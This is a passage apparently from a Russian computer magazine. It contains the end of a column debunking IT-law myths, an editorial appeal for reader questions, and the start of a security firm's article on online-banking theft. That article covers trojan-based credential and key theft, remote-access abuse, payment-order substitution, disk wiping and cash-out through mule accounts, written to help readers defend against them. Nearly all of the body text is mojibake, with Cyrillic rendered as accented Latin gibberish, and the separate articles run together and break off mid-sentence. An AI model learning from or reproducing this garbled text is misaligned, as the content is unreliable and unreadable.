äîêàçàòåëüñòâ íåäîñòàòî÷íî. À â ñóä ïîñòóïàþò òîëüêî òå äåëà, ãäå 
äîâîäû ñòîðîíû îáâèíåíèÿ óáåäèòåëüíû. È ñóäüÿ èõ øòàìïóåò. Òàêàÿ 
ñèñòåìà íå ëó÷øå è íå õóæå çàîêåàíñêîé, ìåñòî äëÿ ñïðàâåäëèâîñòè 
â íåé ïðåäóñìîòðåíî. À âîò åñëè èìåòü î ñèòóàöèè îøèáî÷íîå ïðåä-
ñòàâëåíèå,  ìîæíî îïîçäàòü ñî ñâîåé çàùèòîé, ÷òî âî ìíîãèõ ñëó÷àÿõ 
è ïðîèñõîäèò. Àâòîðà íåîäíîêðàòíî çâàëè íà ðîëü êîíñóëüòàíòà èëè 
ñïåöèàëèñòà ïî êîìïüþòåðíûì ïðåñòóïëåíèÿì, êîãäà óãîëîâíîå 
äåëî óæå â ñóäå. Ñ îãðîìíûì ñîæàëåíèåì ïðèõîäèòñÿ îòêàçûâàòüñÿ, 



ïîñêîëüêó «ïîçäíî ïèòü «Áîðæîìè»». Òàêèå ïðèãëàøåíèÿ èñõîäÿò îò 
ñòîðîíû çàùèòû. À ñòîðîíà îáâèíåíèÿ, åñëè è îáðàùàåòñÿ çà êîíñóëü-
òàöèåé, òî íà ýòàïå âîçáóæäåíèÿ óãîëîâíîãî äåëà èëè äàæå ðàíüøå — â 
ïåðèîä ïðîâåäåíèÿ îïåðàòèâíî-ðîçûñêíûõ ìåðîïðèÿòèé. Òóò ñïåöèà-
ëèñò äåéñòâèòåëüíî ìîæåò ïîìî÷ü.

Программу можно запатентовать
Ïàòåíòíîå ïðàâî (ãë. 72 ÃÊ) è àâòîðñêîå ïðàâî (ãë. 70 ÃÊ) — ýòî äâå ðàç-
íûõ îòðàñëè ïðàâà è äâà ïðèíöèïèàëüíî ðàçëè÷íûõ ìåòîäà çàùèòû 
èíòåëëåêòóàëüíîé ñîáñòâåííîñòè.
Àâòîðñêîå ïðàâî âîçíèêàåò â ñèëó ñîçäàíèÿ ïðîèçâåäåíèÿ (â òîì ÷èñëå 
ïðîãðàììû) è íå òðåáóåò ñîâåðøåíèÿ êàêèõ-ëèáî ôîðìàëüíîñòåé. Ïà-
òåíò âûäàåòñÿ â ðåçóëüòàòå ïðîöåäóðû ãîñóäàðñòâåííîé ðåãèñòðàöèè, 
ïðè÷åì íå àâòîðó, à çàÿâèòåëþ: òóò «êòî ïåðâûé âñòàë, òîãî è òàïêè».
Àâòîðñêîå ïðàâî çàùèùàåò ôîðìó ïðîèçâåäåíèÿ è îñòàâëÿåò ñâî-
áîäíûì åãî ñóùíîñòü (èäåþ, îïèñàííûé ñïîñîá). Ïàòåíòíîå ïðàâî 
îõðàíÿåò èìåííî ñóùíîñòü èçîáðåòåíèÿ, à ôîðìà åãî ðåàëèçàöèè ïðè 
ýòîì ìîæåò áûòü ëþáîé.
Êîãäà âûáèðàëè, êàêèì èìåííî èíñòèòóòîì ñëåäóåò çàùèùàòü êîì-
ïüþòåðíûå ïðîãðàììû, ïðèøëè ê âûâîäó, ÷òî àâòîðñêîå ïðàâî áóäåò 
îïòèìàëüíûì. Èíûå îòðàñëè èíòåëëåêòóàëüíîé ñîáñòâåííîñòè (ïðà-
âî íà òîâàðíûé çíàê, íà èçîáðåòåíèå, íà òåõíîëîãèþ, íà ñåëåêöèîííîå 
äîñòèæåíèå è ïðî÷åå) áûëè ïðèçíàíû íåïîäõîäÿùèìè.
Ïîýòîìó îõðàíÿåòñÿ èìåííî ôîðìà ïðîãðàììû, òî åñòü åå êîä (èñ-
ïîëíÿåìûé è èñõîäíûé). Åñëè òîò æå ñàìûé àëãîðèòì, ñïîñîá, èäåþ, 
ìåòîä îñóùåñòâèòü äðóãèì êîäîì, íàïèñàâ åãî çàíîâî (áåç èñïîëüçîâà-
íèÿ ôðàãìåíòîâ ÷óæîãî êîäà), ýòî áóäåò ñàìîñòîÿòåëüíàÿ ïðîãðàììà, 
ñàìîñòîÿòåëüíûé îáúåêò àâòîðñêîãî ïðàâà.
Ïàòåíòû ïîäõîäÿò ê çàùèòå èíòåëëåêòóàëüíîé ñîáñòâåííîñòè ñîâñåì 
ñ èíîé ñòîðîíû. Ðåàëèçîâàâ çàïàòåíòîâàííûé ìåòîä â èíîé ôîðìå, 
èíûìè ñðåäñòâàìè, èíûì êîäîì, ìû íàðóøèì ÷óæîé ïàòåíò è ñîâåð-
øèì ïðàâîíàðóøåíèå. Äàæå åñëè îòêðûëè ýòîò ñïîñîá ñàìîñòîÿòåëü-
íî è íåçàâèñèìî.
Ïîíÿòíî, ÷òî ïàòåíòíàÿ çàùèòà äëÿ ÏÎ ïîäõîäèò ïëîõî. Íàïèñàë, 
ñêàæåì, êîìàíäèð Íîðòîí ñâîåãî çíàìåíèòîãî NC ñ äâóìÿ ñèíèìè 
ïàíåëüêàìè — è íèêòî äðóãîé óæå íå èìåë áû ïðàâà äåëàòü òàê æå: 
íèêàêèõ ïàíåëåê ñî ñïèñêîì ôàéëîâ, íèêàêèõ æåëòûõ ðàìî÷åê íà 
ñèíåì ôîíå (ïî êðàéíåé ìåðå, áåç óïëàòû Íîðòîíó îò÷èñëåíèé). 
Õîðîøî áûëî áû? Ïëîõî. Ïîýòîìó ïðîãðàììû â áîëüøèíñòâå ñòðàí íå 
ïàòåíòóþòñÿ.
Îäíàêî íàøëèñü ÷åòûðå «èíàêîìûñëÿùèõ» ñòðàíû. Â ÑØÀ, Êîðåå, 
Èíäèè è ßïîíèè êîìïüþòåðíûå ïðîãðàììû ÿâëÿþòñÿ îãðàíè÷åííî 
ïàòåíòîñïîñîáíûìè. Âåñü îñòàëüíîé ìèð ñìîòðèò íà èõ ãîðüêèé îïûò 
è æàëååò íåñ÷àñòíûõ ñîôòîïðîèçâîäèòåëåé èç ýòèõ ñòðàí. Æèâåòñÿ èì 
äåéñòâèòåëüíî íåñëàäêî. Ïî÷òè âñå àëãîðèòìû è âèçóàëüíûå ðåøåíèÿ 
èíòåðôåéñîâ èìåþò ïîä ñîáîé ïàòåíòû. Ïðàêòè÷åñêè íåâîçìîæíî íè-
÷åãî íàïèñàòü, ÷òîáû íå íàñòóïèòü íà ÷üþ-íèáóäü èíòåëëåêòóàëüíóþ 
ñîáñòâåííîñòü. Êðóïíûå ôèðìû èìåþò â àêòèâå ïî íåñêîëüêó òûñÿ÷ 
ïàòåíòîâ íà ñîôò è äîãîâàðèâàþòñÿ ñ äðóãèìè êðóïíûìè î êðîññëè-
öåíçèðîâàíèè. Ñóòü åãî òàêîâà: ìû âàñ íå òðîãàåì, âû íàñ íå òðîãàå-
òå. Ìåëêèì æå ïðîèçâîäèòåëÿì äîãîâîðèòüñÿ ñëîæíåå, ïðèõîäèòñÿ 
ïëàòèòü.

Надписи «(c) Copyright» и «All rights 
reserved» имеют смысл
Çäåñü ìû èìååì äåëî ñ òèïè÷íûì îáåçüÿííè÷àíüåì èëè, ãîâîðÿ ïî-
íàó÷íîìó, ñîöèàëüíûì íàñëåäîâàíèåì. Îäíè ïîâòîðÿþò çà äðóãèìè, 
òðåòüè çà ÷åòâåðòûìè, à îòêóäà âçÿëàñü òðàäèöèÿ, âñå óæå çàáûëè.
Ê ñ÷àñòüþ, àâòîð ðàñêîïàë èñòî÷íèê è ìîæåò ïðîëèòü ñâåò íà ýòî 
ãëóïîå çàêëèíàíèå «âñå ïðàâà çàùèùåíû». Êîãäà-òî äàâíî, â äèêèå 
ðàííåêîïèðàéòíûå âðåìåíà, â îäíîé ñòðàíå ñóùåñòâîâàë çàêîí: 
àâòîðñêîå ïðàâî îõðàíÿëîñü ëèøü â òîì ñëó÷àå, åñëè èçäàòåëü ñòàâèë 
íà êíèãå óêàçàííóþ íàäïèñü. Íîðìà ïðîñóùåñòâîâàëà âñåãî íåñêîëüêî 
ëåò, îäíàêî òðàäèöèÿ çàêðåïèëàñü.

Íûíå âî âñåì ìèðå àâòîðñêèå ïðàâà çàêðåïëÿþòñÿ çà àâòîðîì â ñèëó 
ñîçäàíèÿ ïðîèçâåäåíèÿ è íå òðåáóþò èñïîëíåíèÿ êàêèõ-ëèáî ôîð-
ìàëüíîñòåé (ï. 4 ñò. 1259).
Íàäïèñü «© copyright» íåñåò ÷èñòî èíôîðìàöèîííûé (óâåäîìèòåëü-
íûé) õàðàêòåð: åå ôîðìà ïðåäïèñàíà ñò. 1271 ÃÊ, îäíàêî åå íàëè÷èå 
èëè îòñóòñòâèå íå âëå÷åò êàêèõ-ëèáî ïðàâîâûõ ïîñëåäñòâèé.

Свободные программы 
не требуют заключения 
лицензионного договора
GPL, BSD, GFDL è äðóãèå òèïû «ñâîáîäíûõ» ëèöåíçèé — ýòî íå îòðèöà-
íèå àâòîðñêèõ ïðàâ, à îáû÷íûå ëèöåíçèîííûå äîãîâîðû. Òàêèå æå, êàê 
ïðîïðèåòàðíûå, òîëüêî ñ îñîáûìè óñëîâèÿìè — ÷àùå âñåãî, áåçâîç-
ìåçäíûå. Òåì íå ìåíåå, çàêëþ÷àòü èõ íàäî. Ëþáîå èñïîëüçîâàíèå 
ïðîèçâåäåíèÿ áåç ðàçðåøåíèÿ ïðàâîîáëàäàòåëÿ (òî åñòü áåç ëèöåíçè-
îííîãî äîãîâîðà) ÿâëÿåòñÿ íåçàêîííûì è êàðàåòñÿ.
Äà, òîò æå Ëèíóõ èëè Ôàéðôîêñ âïîëíå ìîãóò áûòü «íåëèöåíçèîí-
íûìè», òî åñòü èõ èñïîëüçîâàíèå — íåçàêîííûì. Åñëè ïîëüçîâàòåëü 
íå çàêëþ÷èò äîãîâîð ïóòåì íàæàòèÿ êíîïêè «ñîãëàñåí» èëè èíûì 
ïðèåìëåìûì ñïîñîáîì.

Место совершения 
киберпреступления находится в 
месте расположения сервера
Çàêîí ðåãóëèðóåò îòíîøåíèÿ ìåæäó ëþäüìè — ñóáúåêòàìè ïðàâà. 
Âñÿêèå æåëåçêè òèïà ñåðâåðà, ïðîâîäà, à òàêæå áàéòû ñ áèòàìè ñóáú-
åêòàìè íå ÿâëÿþòñÿ. Ïîýòîìó çíà÷åíèå èìååò ëèøü òî, ãäå ðàñïîëîæåí 
÷åëîâåê: íàðóøèòåëü ïðàâ èëè òîò, ÷üè ïðàâà íàðóøåíû, èñïîëíèòåëü, 
îðãàíèçàòîð, ïîñîáíèê è òàê äàëåå. Ïåðåìåñòèâ ñåðâåð â äðóãóþ ñòðà-
íó, ìû íè÷óòü íå ìåíÿåì ïðàâîîòíîøåíèé ìåæäó ïîëüçîâàòåëÿìè, 
ñàéòîâëàäåëüöàìè, ðåãèñòðàòîðàìè äîìåíîâ è ïðî÷èìè ñóáúåêòàìè 
ñëîæíûõ îòíîøåíèé. Åäèíñòâåííîå, ÷åãî ìîæíî äîñòè÷ü òàêèì ïåðå-
âîäîì, ýòî çàòðóäíèòü ñáîð äîêàçàòåëüñòâ. È òî — ëèøü â òîì ñëó÷àå, 
êîãäà ñîäåðæèìîå ñåðâåðà ÿâëÿåòñÿ òàêîâûì. 
Åñëè, ê ïðèìåðó, îäèí ãðàæäàíèí, íàõîäÿñü íà òåððèòîðèè ÐÔ, îñêîð-
áèë ïóáëè÷íî (ñò. 130 ÓÊ) äðóãîãî ãðàæäàíèíà, íàõîäÿùåãîñÿ íà òîé 
æå òåððèòîðèè, òî äåëî áóäåò ðåøàòüñÿ èñêëþ÷èòåëüíî â ðîññèéñêîé 
þðèñäèêöèè ïî ðîññèéñêèì çàêîíàì. Ïðè ýòîì íèêîãî íå èíòåðåñóåò, 
êàêèìè òåõíè÷åñêèìè ñðåäñòâàìè ýòî îñêîðáëåíèå áûëî äîíåñåíî 
äî ïóáëèêè — çâóêîâûìè êîëåáàíèÿìè, ðàäèîâîëíàìè, áóêâàìè íà 
áóìàãå èëè IP-ïàêåòàìè, è ïî êàêèì ïðîâîäàì è ýôèðàì îíè ïðîáåãà-
ëè. Èìååò çíà÷åíèå ëèøü ìåñòîíàõîæäåíèå ñóáúåêòîâ ïðàâà, òî åñòü 
ëþäåé.

Заключение
Ìèôû ïåðåäàþòñÿ îò ÷åëîâåêà ê ÷åëîâåêó â õîäå ïðàêòè÷åñêîé 
äåÿòåëüíîñòè. Ðàçîáëà÷àþòñÿ îíè â õîäå ãëóáîêîãî èçó÷åíèÿ òåî-
ðèè. Ñèëüíàÿ ñòåïåíü òâîåé ìèôîëîãèçàöèè îçíà÷àåò ëèøü òî, ÷òî 
òû — ïðàêòè÷åñêèé ðàáîòíèê, ïðåäïî÷èòàþùèé äåéñòâîâàòü, à íå 
êîïàòüñÿ â êíèãàõ. Åñëè îãðàíè÷èâàòü ñåáÿ åäèíñòâåííîé îáëàñòüþ 
äåÿòåëüíîñòè, ñâîåé óçêîé ñïåöèàëèçàöèåé, òî ïîäîáíûå ìèôû, íà-
âåðíîå, íå íåñóò âðåäà. Ðèñê ïðîÿâëÿåòñÿ ëèøü ïðè ðàñøèðåíèè ñôåðû 
èíòåðåñîâ.z
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Ñòàòüè, êîòîðûå Íèêîëàé Ôåäîòîâ ïóáëèêóåò â ýòîé ðóáðè-
êå, ïèøóòñÿ èñêëþ÷èòåëüíî äëÿ òåáÿ. Äà-äà, íå ïðÿ÷üñÿ çà 
ñòðàíèöåé ñ ðåêëàìîé, èìåííî äëÿ òåáÿ. Ïîýòîìó íå ñòåñ-
íÿéñÿ, ïðèñûëàé ñâîè âîïðîñû ïî «àéòèøíîìó» ïðàâó íà 
ìûëî ðåäàêòîðà: lozovsky@gameland.ru. Êîãäà èõ íàáåðåò-
ñÿ äîñòàòî÷íîå êîëè÷åñòâî, ìû ñäåëàåì ñòàòüþ «Ïðàâîâîé 
FAQ», ñäåëàííóþ ïî âîïðîñàì íàøèõ ÷èòàòåëåé. 
Òû ñïðàøèâàåøü — ìû îòâå÷àåì.  Ýòî ñïðàâåäëèâî. 
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Идея написать такую статью у меня зародилась уже достаточно давно. Решающим толчком к 
ее написанию послужило хищение в размере 400 млн рублей, с которым специалистам Group-
IB пришлось иметь дело в декабре 2010 года. Преступление было спланировано и реализовано 
точно так же, как и сотни других подобных инцидентов, случающихся ежедневно по всей России. 
Однако еще ни одно происшествие с системой ДБО, свидетелями которых мы были, не касалось 
таких внушительных сумм.

Ñêàæè íåò àòàêàì 
íà îíëàéí-áàíêèíã

Â ýòîé ñòàòüå ÿ õî÷ó ðàññêàçàòü î ñõåìàõ ñîâåðøåíèÿ õèùåíèé ñ 
èñïîëüçîâàíèåì ñèñòåìû «Èíòåðíåò-áàíê» èëè «Áàíê-Êëèåíò», à 
òàêæå î ïðîòèâîáîðñòâå èì. Ïðè ýòîì ìû íå áóäåì ðàññìàòðèâàòü 
ñëó÷àè, êîãäà çà îðãàíèçàöèåé õèùåíèÿ ñòîèò âíóòðåííèé ñîòðóä-
íèê: ýòî òåìà, êîòîðàÿ çàñëóæèâàåò îòäåëüíîãî ðàññìîòðåíèÿ.
Ìîøåííè÷åñòâà â ñèñòåìàõ äèñòàíöèîííîãî áàíêîâñêîãî îáñëó-
æèâàíèÿ ìû íà÷àëè ôèêñèðîâàòü â ïåðâîé ïîëîâèíå 2008 ãîäà. 
Ñ òåõ ïîð çëîóìûøëåííèêè îòðàáîòàëè ñõåìû êðàæè áàíêîâñêèõ 
êëþ÷åé è äàííûõ äëÿ àâòîðèçàöèè, à òàêæå ìåòîäû îáíàëè÷-
êè äåíåæíûõ ñðåäñòâ, ÷òî äàëî èì âîçìîæíîñòü ïîñòàâèòü ýòè 
ïðåñòóïëåíèÿ íà ïîòîê. Çà íîÿáðü 2010 ãîäà ìû çàôèêñèðîâàëè 
76 ôàêòîâ ìîøåííè÷åñòâà â ñèñòåìàõ ÄÁÎ, 46 èç íèõ çàòðàãèâàëè 
þðèäè÷åñêèõ ëèö. Áëàãîäàðÿ îïåðàòèâíîé ðåàêöèè ïîñòðàäàâ-
øèõ êëèåíòîâ è áàíêîâ óäàëîñü îñòàíîâèòü 35 èíöèäåíòîâ åùå äî 
ìîìåíòà îáíàëè÷èâàíèÿ äåíåã, ÷òî ïîçâîëèëî âåðíóòü èõ ïîñòðà-
äàâøåé ñòîðîíå. 

Понимание методов совершения 
преступлений
Ïðè âîññòàíîâëåíèè îáñòîÿòåëüñòâ èíöèäåíòîâ â õîäå êðèìèíà-
ëèñòè÷åñêèõ èññëåäîâàíèé ðàáî÷èõ ñòàíöèé, íà êîòîðûõ ðàáîòàëè 
ñ ÄÁÎ, òùàòåëüíîìó àíàëèçó ïîäâåðãàþòñÿ æóðíàëû ìåæñåòåâûõ 
ýêðàíîâ è ïðîêñè, à òàêæå äðóãèå èñòî÷íèêè èíôîðìàöèè. Íàøèìè 
ýêñïåðòàìè îïðåäåëÿþòñÿ ïðè÷èíû èíöèäåíòà, ìåòîäû è ñðåäñòâà, 
êîòîðûìè ïîëüçîâàëèñü çëîóìûøëåííèêè, õðîíîëîãèÿ èõ äåéñòâèé. 
Íàèáîëåå ÷àñòûé ñöåíàðèé ñîâåðøåíèÿ ïðåñòóïëåíèÿ ñîñòîèò èç 
òðåõ îñíîâíûõ ýòàïîâ: ïîëó÷åíèå èíôîðìàöèè äëÿ äîñòóïà â ñèñòå-
ìó ÄÁÎ, ïðîâåäåíèå ìîøåííè÷åñêîé îïåðàöèè, îáíàëè÷êà äåíåã. 
Ðàññìîòðèì êàæäûé èç ýòàïîâ.
1. Ïîëó÷åíèå èíôîðìàöèè äëÿ äîñòóïà â ñèñòåìó ÄÁÎ.
Êàê ÿ óæå ãîâîðèë, â äàííîé ñòàòüå ìû ðàññìàòðèâàåì ñëó÷àè, êîãäà 
ìîøåííèê ÿâëÿåòñÿ âíåøíèì ëèöîì ïî îòíîøåíèþ ê îðãàíèçàöèè 
èëè ÷åëîâåêó, òî åñòü íå èìååò ôèçè÷åñêîãî äîñòóïà ê àâòîðèçàöè-
îííûì äàííûì ñèñòåìû ÄÁÎ. Â òàêèõ ñëó÷àÿõ êðàæà äàííûõ äëÿ 
àâòîðèçàöèè (ëîãèí/ïàðîëü è êëþ÷è ÝÖÏ) ïðîèçâîäèòñÿ ñ ïîìîùüþ 
âðåäîíîñíîãî ïðîãðàììíîãî îáåñïå÷åíèÿ. ×àùå âñåãî ýòî âàðèà-
öèè õîðîøî èçâåñòíîãî òðîÿíà Zeus, äîðàáîòàííûå íåîáõîäèìûì 
ôóíêöèîíàëîì.
Êàê ïðàâèëî, çàðàæåíèå ïðîèñõîäèò ïðè ïîñåùåíèè ñêîìïðîìå-
òèðîâàííîãî âåá-ñàéòà, íà êîòîðîì çëîóìûøëåííèêàìè áûëè 
âíåäðåíû ðàçëè÷íîãî ðîäà iframe- èëè Java-ñêðèïòû, ýêñïëóàòèðó-
þùèå íåçàêðûòûå óÿçâèìîñòè â áðàóçåðàõ èëè èõ ìîäóëÿõ (Adobe 

Flash, Adobe Reader, Java è äðóãèõ). Â õîäå ýêñïëóàòàöèè óÿçâèìîñòè 
íà ðàáî÷èé êîìïüþòåð ïîëüçîâàòåëÿ çàãðóæàåòñÿ âðåäîíîñíîå ÏÎ, 
êîòîðîå äåòåêòèðóåò, ñ êàêèìè ïðèëîæåíèÿìè ðàáîòàåò ïîëüçîâà-
òåëü. Ïðè îáíàðóæåíèè ñëåäîâ ðàáîò ñ ñèñòåìàìè ÄÁÎ èëè ñèñòåìà-
ìè ýëåêòðîííûõ äåíåã, íà êîìïüþòåð äîçàãðóæàþòñÿ âðåäîíîñíûå 
ìîäóëè, ïðåäíàçíà÷åííûå äëÿ êðàæè àâòîðèçàöèîííûõ äàííûõ. 
Ñîâðåìåííûå òðîÿíû èìåþò øèðîêèé ôóíêöèîíàë è ñïîñîáíû 
ðàáîòàòü îäíîâðåìåííî ñ íåñêîëüêèìè ñèñòåìàìè ÄÁÎ, îáåñïå÷è-
âàòü âîçìîæíîñòü óäàëåííîãî äîñòóïà çëîóìûøëåííèêà è ñîêðûòèå 
ñëåäîâ ïðåñòóïëåíèÿ.
Êàê òîëüêî òðîÿí ñîáèðàåò íåîáõîäèìóþ èíôîðìàöèþ, îí ïåðåäàåò 
åå íà êîíòðîëëåð áîòíåòà, ãäå îíà îáðàáàòûâàåòñÿ çëîóìûøëåííè-
êàìè. Íà áîòíåò-êîíòðîëëåð ïåðåäàåòñÿ ñëåäóþùèå äàííûå: ïàðû 
ëîãèí/ïàðîëü, êëþ÷è ÝÖÏ, èíôîðìàöèÿ î íîñèòåëå êëþ÷åé ÝÖÏ 
(òîêåí, ôëåøêà, äèñêåòà).
2. Ïðîâåäåíèå ìîøåííè÷åñêîé îïåðàöèè
Ïðè ïîëó÷åíèè äàííûõ îò òðîÿíà, ìîøåííèêè ïðîâåðÿþò ïîëó÷åí-
íûå ñâåäåíèÿ è èõ äîñòàòî÷íîñòü äëÿ ñîâåðøåíèÿ ïðåñòóïëåíèÿ. 
Çäåñü îñîáóþ ðîëü èãðàþò ñðåäñòâà çàùèòû, ïðèìåíÿåìûå áàíêîì 
è åãî êëèåíòîì. Êîíòðîëü IP-àäðåñîâ, íàëè÷èå òîêåíîâ èëè îäíîðà-
çîâûõ ïàðîëåé ìåíÿþò ïîäõîä çëîóìûøëåííèêîâ ïðè äàëüíåéøåì 
îñóùåñòâëåíèè ìîøåííè÷åñòâà. Â ñëó÷àå õðàíåíèÿ êëþ÷åé ÝÖÏ 
íà íåçàùèùåííîì íîñèòåëå (æåñòêèé äèñê êîìïüþòåðà, ôëåøêà, 
äèñêåòà, ðååñòð îïåðàöèîííîé ñèñòåìû) è îòñóòñòâèÿ íà ÄÁÎ-ñåð-
âåðå áàíêà êîíòðîëÿ IP-àäðåñîâ êëèåíòîâ çëîóìûøëåííèê ìîæåò 
îòïðàâèòü ìîøåííè÷åñêîå ïëàòåæíîå ïîðó÷åíèå ñ ëþáîãî âíåøíåãî 
IP-àäðåñà, ÷òî ñóùåñòâåííî óïðîùàåò çàäà÷ó.
Ïîñòåïåííûé ïåðåõîä áàíêîâ íà ñðåäñòâà äâóõôàêòîðíîé àóòåí-
òèôèêàöèè çàñòàâèë çëîóìûøëåííèêîâ èñêàòü íîâûå ìåòîäû 
ñîâåðøåíèÿ ïðåñòóïëåíèÿ. Âûõîä áûë íàéäåí. Ñåé÷àñ íàèáîëåå 
ðàñïðîñòðàíåííûì ñïîñîáîì îáõîäà ïðèìåíåíèÿ òîêåíîâ â êà÷åñòâå 
õðàíèëèùà êëþ÷åé ÝÖÏ ñëóæàò ñðåäñòâà óäàëåííîãî àäìèíèñòðè-
ðîâàíèÿ, òàêèå êàê RDP, VNC, Radmin, TeamViewer. Èñïîëüçîâàíèå 
ñðåäñòâ óäàëåííîãî àäìèíèñòðèðîâàíèÿ ïîçâîëÿåò îòïðàâëÿòü 
ïëàòåæíûå ïîðó÷åíèÿ íåïîñðåäñòâåííî ñ êîìïüþòåðà áóõãàëòåðà, 
â êîòîðûé âñòàâëåí òîêåí. Ïðè ýòîì ÷àñòî èñïîëüçóåòñÿ ñëóæáà 
òåðìèíàëüíîãî ñåðâåðà Windows, ÷òî ïîçâîëÿåò çëîóìûøëåííèêó 
ðàáîòàòü ïàðàëëåëüíî ñ ëåãèòèìíûì ïîëüçîâàòåëåì. Äëÿ îðãàíèçà-
öèè òóííåëåé äî ñêîìïðîìåòèðîâàííûõ êîìïüþòåðîâ ïðèìåíÿþòñÿ 
îáùåäîñòóïíûå VPN-êëèåíòû OpenVPN è Hamachi.
Òàêæå àêòèâíî ðàçâèâàåòñÿ ôóíêöèîíàë âðåäîíîñíîãî ÏÎ. Ê íàì 
ïîïàäàþò òðîÿíû, êîòîðûå ñïîñîáíû ñàìîñòîÿòåëüíî ðàáîòàòü ñî 

Ïðåäîòâðàùàåì õèùåíèÿ â ñèñòåìå 
äèñòàíöèîííîãî áàíêîâñêîãî îáñëóæèâàíèÿ
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ñìàðò-êàðòàìè è òîêåíàìè, èñïîëüçóÿ ñòàíäàðòíûé API Windows. 
Êðîìå òîãî, òðîÿíàìè ïðîèçâîäèòñÿ ïîäìåíà ëåãèòèìíûõ ïëàòåæ-
íûõ ïîðó÷åíèé íà ìîøåííè÷åñêèå ïðè îòïðàâêå èõ íà ïîäïèñü â òî-
êåí, ïðè ýòîì ïîëüçîâàòåëü ÄÁÎ âèäèò, êàê åãî ïëàòåæíîå ïîðó÷åíèå 
áûëî óñïåøíî ïîäïèñàíî è îòïðàâëåíî â áàíê.
Êàê òîëüêî ìîøåííè÷åñêàÿ îïåðàöèÿ ïðîâåäåíà, è ïëàòåæíîå ïîðó-
÷åíèå îòïðàâëåíî, ãëàâíàÿ çàäà÷à çëîóìûøëåííèêîâ — îãðàíè÷èòü 
äîñòóï ëåãèòèìíîãî ïîëüçîâàòåëÿ ê ñèñòåìå ÄÁÎ. Äëÿ ýòîé öåëè 
ìîãóò èñïîëüçîâàòüñÿ ðàçëè÷íûå ìåòîäû: ñìåíà ïàðîëÿ îò ñèñòåìû 
ÄÁÎ, âûâîä èç ñòðîÿ êîìïüþòåðà êëèåíòà áàíêà, DDoS-àòàêà íà 
ÄÁÎ-ñåðâåð áàíêà. ×àùå âñåãî ôîðìàòèðóþò æåñòêèé äèñê ïîëüçî-
âàòåëÿ èëè óäàëÿþò îäèí èç êîìïîíåíòîâ îïåðàöèîííîé ñèñòåìû 
(íàïðèìåð, NT Loader). Òåì âðåìåíåì, ïîêà âñå ñèëû êëèåíòà áàíêà 
áðîøåíû íà âîññòàíîâëåíèå ðàáîòîñïîñîáíîñòè êîìïüþòåðà, äå-
íüãè ïîêèäàþò åãî ñ÷åò è ïîïàäàþò â ðóêè ïðåñòóïíèêîâ.
3. Îáíàëè÷êà
Ýòîò ýòàï ÷àùå âñåãî îòäàåòñÿ íà àóòñîðñèíã ñïåöèàëèçèðîâàííûì 
ãðóïïàì ëèö, èìåþùèì òåñíûå ñâÿçè ñ îðãàíèçîâàííûìè ïðåñòóï-
íûìè ãðóïïèðîâêàìè. Äëÿ âûâîäà äåíåã ìîãóò èñïîëüçîâàòüñÿ ñ÷åòà 
ïîäñòàâíûõ ôèðì ëèáî äåáåòîâûå êàðòû ôèçè÷åñêèõ ëèö. Ñõåìà 
îáíàëè÷êè íà÷èíàåò ðàçðàáàòûâàòüñÿ åùå âî âðåìÿ ïîäãîòîâêè 
ê êðàæå äåíåã, òàê êàê îíà çàâèñèò îò ñóììû äåíåæíûõ ñðåäñòâ, 
êîòîðóþ íóæíî âûâåñòè. Â ñëó÷àå íåáîëüøèõ ñóìì (äî 2 ìëí ðóáëåé) 
÷àùå âñåãî èñïîëüçóþòñÿ ïëàñòèêîâûå êàðòû ôèçè÷åñêèõ ëèö, 
ïðè÷åì ïðåäïî÷òèòåëüíû òå áàíêè, â êîòîðûõ áîëüøèå ëèìèòû ïî 
âûäà÷å íàëè÷íîñòè â áàíêîìàòàõ. Â ñëó÷àå êðóïíûõ ñóìì èñïîëüçó-
åòñÿ öåïî÷êà ñ÷åòîâ ïîäñòàâíûõ êîìïàíèé è ôèçè÷åñêèõ ëèö: â õîäå 
ïåðåâîäîâ ñóììà äðîáèòñÿ äëÿ îáëåã÷åíèÿ ñíÿòèÿ íàëè÷íûõ äåíåã.

Противодействие 
мошенничеству
Èòàê, ïðèøëî âðåìÿ ïîíÿòü, êàê ìîæíî çàùèòèòü ñâîè äåíüãè è 
äåíüãè ðàáîòîäàòåëÿ îò íåïðàâîìåðíûõ ïîñÿãàòåëüñòâ òðåòüèõ ëèö. 
Ïðåæäå âñåãî ñòîèò ðàçîáðàòüñÿ, êàêèå ñðåäñòâà çàùèòû èìåþòñÿ 
â ñàìîé ñèñòåìå ÄÁÎ, è êàê èõ ìîæíî èñïîëüçîâàòü. ×àñòî êëèåíòû 
áàíêîâ äàæå íå çíàþò î âîçìîæíîñòè êîíòðîëÿ äîñòóïà ê ñèñòåìå 
ÄÁÎ ïî IP-àäðåñàì èëè î îá èñïîëüçîâàíèè òîêåíîâ äëÿ õðàíåíèÿ 
êëþ÷åé ÝÖÏ. Äðóãîé ïðîáëåìîé ÿâëÿåòñÿ íåæåëàíèå êëèåíòà 
ïëàòèòü çà äîïîëíèòåëüíûå ñðåäñòâà îáåñïå÷åíèÿ áåçîïàñíîñòè, 
òàê êàê ó íåãî íåò ïîíèìàíèÿ ñòåïåíè êðèòè÷íîñòè ðèñêà ìîøåííè-
÷åñòâà. Ïðè âîçìîæíîñòè âûáîðà áàíêà ñòîèò îòäàòü ïðåäïî÷òåíèå 
òîé êðåäèòíîé îðãàíèçàöèè, êîòîðàÿ ïðåäëàãàåò ñâîèì êëèåíòàì 

áåçîïàñíûé ñåðâèñ ïî ðàáîòå ñ ñèñòåìîé ÄÁÎ: ñðåäñòâà íàäåæíîãî 
õðàíåíèÿ êëþ÷åé, îäíîðàçîâûå ïàðîëè, ñèñòåìó ïðîòèâîäåéñòâèÿ 
ìîøåííè÷åñòâó, âñòðîåííóþ â ÄÁÎ.
Â ëþáîì ñëó÷àå, íåîáõîäèìî ïîíèìàòü, ÷òî íàëè÷èå ñðåäñòâ 
çàùèòû íà ñòîðîíå áàíêà íå ãàðàíòèðóåò àáñîëþòíîé áåçîïàñíîñ-
òè. Íàø îïûò ïîêàçûâàåò, ÷òî â 80% ñëó÷àåâ ïðè÷èíîé èíöèäåíòà 
ÿâëÿåòñÿ íåñîáëþäåíèå òðåáîâàíèé áåçîïàñíîñòè íà ñòîðîíå 
êëèåíòà áàíêà.
Ïðè îðãàíèçàöèè ðàáî÷åãî ìåñòà, íà êîòîðîì áóäóò ðàáîòàòü 
ñ ñèñòåìîé «Áàíê-Êëèåíò» èëè «Èíòåðíåò-áàíê», íåîáõîäèìî 
ïðåäóñìîòðåòü âîçìîæíûå ïóòè êîìïðîìåòàöèè äàííûõ àâòîðè-
